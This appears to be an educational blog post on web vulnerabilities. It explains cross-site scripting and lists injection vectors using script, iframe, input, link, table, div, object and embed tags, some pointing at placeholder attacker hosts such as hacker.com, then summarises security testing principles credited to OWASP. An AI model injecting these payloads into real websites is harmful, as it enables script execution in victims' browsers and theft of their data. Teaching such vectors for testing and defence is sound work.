Website vulnerability exploitation techniques

There are various methods which a attacker can use to exploit or find vulnerability in a webapplication
Below's a pie chart of various ways used by hacker to exploit a web-application .Created by Web Hacking Incident Database for 2013 SQL injection and XSS are most popular

So with Cross site scripting taking a lead , lets first of all know what exactly it is .

Cross-site scripting (XSS) is a  vulnerability that permits an attacker to inject code (typically HTML or Javascript) into contents of a target website. When a viewer views such a page, the injected code executes in the victim's browser. Thus, the attacker has bypassed the browser's same origin policy and can steal victim's private information associated with the website in question.Dynamic Websites suffer from Serious Vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data

Any web page which passes parameters to a database can be vulnerable to this hacking technique.Usually these are present in Login forms,Forgot password forms, etc

Theory of XSS:In a typical XSS attack the hacker infects a web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

How its done ???

Internet applications today are dynamic and filled with ever changing content.Modern web pages pull data from many sources.These data is amalgamated with the web page and can contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts along with other images and other simple texts.Many times hackers use the comment section in a webpage to insert comment that contains script.when a user reads that comment that script is downloaded into his browser and executed.

<SCRIPT>

The <SCRIPT> tag is the most popular way and sometimes easiest to detect. It can arrive to a page in the following forms:

External Script
<SCRIPT SRC=https://Vunerabilites/XSS.js><SCRIPT>

Embedded Script
<SCRIPT>alert("XSS");</SCRIPT>

<IFRAME>

The <IFRAME> tag allows you to import HTML into a page. This important HTML can contain a script.

<IFRAME SRC=”https://hacker-site.com/xss.html”>

<INPUT>

If the TYPE attribute of the <INPUT> tag is set to “IMAGE”, it can be manipulated to embed a script:

<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">

<LINK>

The <LINK> tag, which is often used to link to external style sheets could contain a script:

<LINK REL="stylesheet" HREF="javascript:alert('XSS');">

<TABLE>

The BACKGROUND attribute of the TABLE tag can be exploited to refer to a script instead of an image:

<TABLE BACKGROUND="javascript:alert('XSS')">

The same applies to the <TD> tag, used to separate cells inside a table:

<TD BACKGROUND="javascript:alert('XSS')">

<DIV>

The <DIV> tag, similar to the <TABLE> and <TD> tags can also specify a background and therefore embed a script:

<DIV STYLE="background-image: url(javascript:alert('XSS'))">The <DIV> STYLE attribute can also be manipulated in the following way:

<DIV STYLE="width: expression(alert('XSS'));"><OBJECT>

The <OBJECT> tag can be used to pull in a script from an external site in the following way:

<OBJECT TYPE="text/x-scriptlet" DATA="https://hacker.com/xss.html">

<EMBED>

If the hacker places a malicious script inside a flash file, it can be injected in the following way:

<EMBED SRC="https://hacker.com/xss.swf" AllowScriptAccess="always">

Courtesy :Acunetix and his highness Google

What is Security Testing ?

Security testing verifies whether an application under test only allows designated users and processes access to business functionality and data.

A testing technique to determine if an information system protects data and maintains functionality as intended. It also aims at verifying 6 basic principles as listed below:

Authorization - is mediating access to resources on the basis of identity and is generally policy-driven (although the policy may be implicit). It is the primary security service that concerns most software, with most of the other security services supporting it. For example, access control decisions are generally enforced on the basis of a user-specific policy, and authentication is the way to establish the user in question.

Confidentiality - is really a manifestation of access control, specifically the ability to read data. Since, in computer security, confidentiality is often synonymous with encryption, it becomes a technique for enforcing an access-control policy.

Accountability - Users of a system should generally be accountable for the actions they perform. In other words, this means that systems should log information on operations that could potentially require review. For example, For example every time we withdraw cash from an ATM a log is maintained and same is displayed in mini-statement or account statement and an alert message is sent to mobile no. Associated with account. These help us to keep track of any unauthorised activity in our account. Likewise,logs generated , should generally be difficult to forge, using a message authentication scheme that protects the integrity of logs by authenticating the entity that performed the logging

Authentication -For network connections, it is important to perform authentication at login time, but it is also important to perform ongoing authentication over the lifetime of the connection; Additionally, for data communications, an initial authentication provides assurance at the time the authentication completes, but when the initial authentication is used to establish authenticity of data through the life of the connection, the assurance level generally goes down as time goes on In data communication, authentication is often combined with key exchange. This combination is advantageous since there should be no unauthenticated messages (including key exchange messages) and since general-purpose data communication often requires a key to be exchanged. Even when using public key cryptography where no key needs to be exchanged, it is generally wise to exchange them because general-purpose encryption using public keys has many pitfalls, efficiency being only one of them. .

Availibilty: Most systems that export resources, either directly or otherwise, come with some implicit understanding that those resources will generally be accessible (available). If an availability problem is caused maliciously, it is known as a denial of service attack. Note that data delays can be considered an availability problem

For eg :- Imagine a QA engineer(testing a bank transaction page ) sending a message that says, "This page failed 5 checklist points" that an attacker delays until the he has robbed the organisation's money and other sensitive information of its customers

Non – repudiation- In most two-party data communication, the two parties can prove to themselves whether data comes from an authentic source. But one generally does not have proof that a third party would find plausible. A message for which the original sender or some endorser can be established to third parties is said to be non-repudiable. This security service is generally associated with digital signature schemes.

Courtesy:OWASP